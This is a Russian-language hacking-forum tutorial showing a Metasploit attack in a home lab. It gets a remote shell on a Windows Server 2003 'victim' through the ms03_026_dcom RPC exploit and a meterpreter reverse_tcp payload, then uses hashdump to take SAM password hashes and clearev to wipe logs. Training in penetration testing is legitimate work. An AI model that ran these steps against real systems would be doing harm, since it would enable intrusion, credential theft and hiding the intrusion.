Как взломать компьютер. Практический пример работы с Metasploit Framework

  • Автор темы Seyki
  • Дата начала
  • Участники 1

Seyki

Intermidiate Hacker
21.05.2020
45
26
28
Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole, msfcli и msfweb. Основным и наиболее предпочтительным из трех перечисленных вариантов является первый - msfconsole. Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.
Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

Список наиболее употребимых команд:

1) search <keyword>: запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение <keyword> имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

2) show exploits: указав команду show exploits, мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

3) show payloads: аналогично предыдущим командам show, показывает доступные в системе payload'ы. Запускаем команду show payloads и изучаем получившийся список.

4) show options: набрав в командной строке show options, вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

5) info <type> <name>: если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info. Скажем, вам нужно подробное описание payload'а winbind. Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

6) use <exploit_name>: команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

7) set RHOST <hostname_or_ip>: указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

8) set RPORT <host_port>: задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

9) set payload <generic/shell_bind_tcp>: команда указывает имя payload'а, который будет использоваться.

10) set LPORT <local_port>: задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

11) exploit: запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit, которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

12) help: команда help выдаст полный перечень всех доступных команд системы.

Машина жертвы:

OS: Microsoft Windows Server 2003

IP: 192.168.42.129

Наша машина:

OS: BackTrack 5

Kernel version: Linux bt 2.6.38 # SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

Metasploit version: Built in version of metasploit 3.8.0-dev

IP: 192.168.42.128

И так начнем

Шаг 1:

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот.

[IMG]

Шаг 2:

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте.

[IMG]

Шаг 3:

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit. Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit, запустим команду show exploits. Мы увидим все, которые можно использовать в нашей системе.

Как вы уже могли заметить, стандартная инсталляция Metasploit Framework 3.8.0-dev имеет в своем составе 696 эксплоитов и 224 payload'а. Список впечатляющий, так что найти нужный сплоит в нем является задачей поистине трудной и утомительной. Но мы воспользуемся более простым и удобным способом. Один из них - http://metasploit.com/modules/ (не реклама) и воспользуйтесь поиском на сайте.Второй способ - запустить команду search <keyword> в самом Metasploit для поиска соответствующего эксплоита RPC.

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc. Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole, как показано на скриншоте.

[IMG]

Шаг 4:

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5:

В общем случае запуск команды use <exploit_name> запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

[IMG]

Как видно на скриншоте, после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) >. Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6:

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135. Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST.

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129., как на скриншоте.

[IMG]

Шаг 7:

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads.

[IMG]

Как видно на скриншоте, команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter, задав его командой set PAYLOAD windows/meterpreter/reserve_tcp, что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

[IMG]

Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128.

Шаг 8:

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте хорошо видно, что в нашем случае это именно так.

[IMG]

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check.

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

[IMG]

На скриншоте видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter >.

Шаг 9:

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter:


  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.
Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Эта статья является поверхностным обзором по использованию фреймворка Metasploit. Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit, приобретенный в этой статье, поможет вам понять принципы работы эксплоитов.
 

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню